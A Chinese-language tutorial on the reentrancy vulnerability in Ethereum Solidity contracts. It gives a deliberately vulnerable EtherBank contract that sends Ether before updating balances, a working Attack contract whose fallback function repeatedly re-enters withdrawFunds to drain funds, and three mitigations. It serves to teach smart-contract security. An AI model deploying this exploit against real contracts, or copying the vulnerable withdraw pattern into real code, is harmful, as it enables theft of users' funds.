前言
在以太坊生态中,智能合约承载着十分重要的职责。智能合约是一种自动执行的合约,其中的条款和条件以代码的形式编写,并通过区块链网络进行验证和执行。以太坊智能合约可以实现各种功能,例如数字货币的创建和交易、去中心化应用程序(DApp)的开发、数字资产的管理等。并且智能合约具有一旦部署就不能通过打补丁的方式进行修正的特性,因此智能合约相较于传统软件有更高的正确性和安全性的要求。
此系列文章聚焦于以太坊生态下Solidity智能合约的常见安全漏洞和规避方法,本篇以重入漏洞为例进行叙述讲解。
重入漏洞描述
重入漏洞的存在,和以太坊的智能合约的特点紧密相关。因为智能合约允许被其他外部合约调用,并且当智能合约收到Ether时会自动触发回退函数,这两个特点相结合就很容易被利用,攻击者可以通过回退函数迫使合约再一次被执行,已到达攻击者获取利益的目的。智能合约的代码能够被“重新进入”,这种漏洞就叫做“重入漏洞”。
漏洞攻击案例
contract EtherBank {
uint256 public withdrawalLimit = 1 ether;
mapping(address => uint256) public lastWithdrawTime;
mapping(address => uint256) public balances;
function depositFunds() public payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds (uint256 _weiToWithdraw) public {
// 提取金额不能超过账户余额
require(balances[msg.sender] >= _weiToWithdraw);
// 提取金额不能超过withdrawalLimit
require(_weiToWithdraw <= withdrawalLimit);
// 时间限制
require(now >= lastWithdrawTime[msg.sender] + 1 weeks);
require(msg.sender.call.value(_weiToWithdraw)());
balances[msg.sender] -= _weiToWithdraw;
lastWithdrawTime[msg.sender] = now;
}
}
以EtherBank合约为例,简单代表一个被攻击的合约,它提供了两个功能:
- depositFunds( ):存入以太币到消息发送者的地址
- withdrawFunds( ):消息发送者取回自己账户上的以太币。这个函数还额外做了一些限制:
- 提取金额不能大于消息发送者账户的余额单次的提取金额不能超过限制(此合约中定义为1个以太币)本次提取时间要距离上次提取时间不少于一周,即限制了取款频率为最多每周一次
EtherBank看似做了比较严谨的取款限制,但是实际上还是存在着漏洞,到底是哪里出了问题呢?
考虑下面这个攻击合约:
import "EtherBank.sol";
contract Attack {
EtherBank public etherBank;
constructor(address _etherBankAddress) {
etherBank = EtherBank(_etherBankAddress);
}
function pwnEtherBank() public payable {
require(msg.value >= 1 ether);
// 调用漏洞合约的depositFunds函数
etherBank.depositFunds.value(1 ether)();
etherBank.withdrawFunds(1 ether);
}
// 回退函数
function () payable {
if (etherBank.balance > 1 ether) {
etherBank.withdrawFunds(1 ether);
}
}
}
假设已经有其他用户调用了EtherBank合约,并把一些以太币存入了这个漏洞合约地址中,此时攻击者调用Attack合约的pwnEtherBank( )函数(msg.sender就是攻击者)。
- 第一次调用将会先调用漏洞合约的depositFunds( )函数,向漏洞合约地址中存入1个以太币
- 紧接着又调用了漏洞合约的withdrawFunds( )函数提取1个以太币,因为这个msg.sender之前没有提取过以太币,账户余额为1Ether并且此次提取1Ether,因而可以通过withdrawFunds( )函数的条件校验。
- 通过校验后继续执行msg.sender.call.value(_weiToWithdraw)( ),漏洞合约会发送1Ether给Attack合约,此时会触发Attack合约的回退函数。
- 在回退函数中只要漏洞合约的余额大于1Ether,就会再一次进入漏洞合约的withdrawFunds( )函数。
- 由于上一次的withdrawFunds( )函数并没有执行完成,msg.sender的账户余额以及lastWithdrawTime都没有更新,因此再一次的调用仍然能通过withdrawFunds( )函数的校验条件。
- 重复执行3~5的步骤,反复调用漏洞合约的withdrawFunds( )函数,直到漏洞合约的余额不多于1Ether为止
- 继续withdrawFunds( )函数最后的操作——更新账户余额和lastWithdrawTime
- 执行结束
我们可以看到,攻击者通过Attack这个合约,先支付1个Ether到漏洞合约后,就可以利用自身的回退函数不停地重复调用漏洞合约的withdrawFunds( )函数,几乎提取出漏洞合约中的全部以太币。
规避方法
第一种方式:先变更状态,再进行Ether的发送。表现在EtherBank合约中就是在withdrawFunds( )函数里先更新账户余额和lastWithdrawTime,再调用call( )函数发送以太币。
第二种方式:尽量避免使用call( )函数给外部合约发送Ether,建议使用内置的transfer( )函数。因为转账功能只发送 2300 gas 不足以使目的地址/合约再进行一次调用,以gas限制来避免重入合约。
第三种方式:引入互斥锁,就是添加一个在代码执行过程中锁定合约的状态变量,阻止重入调用。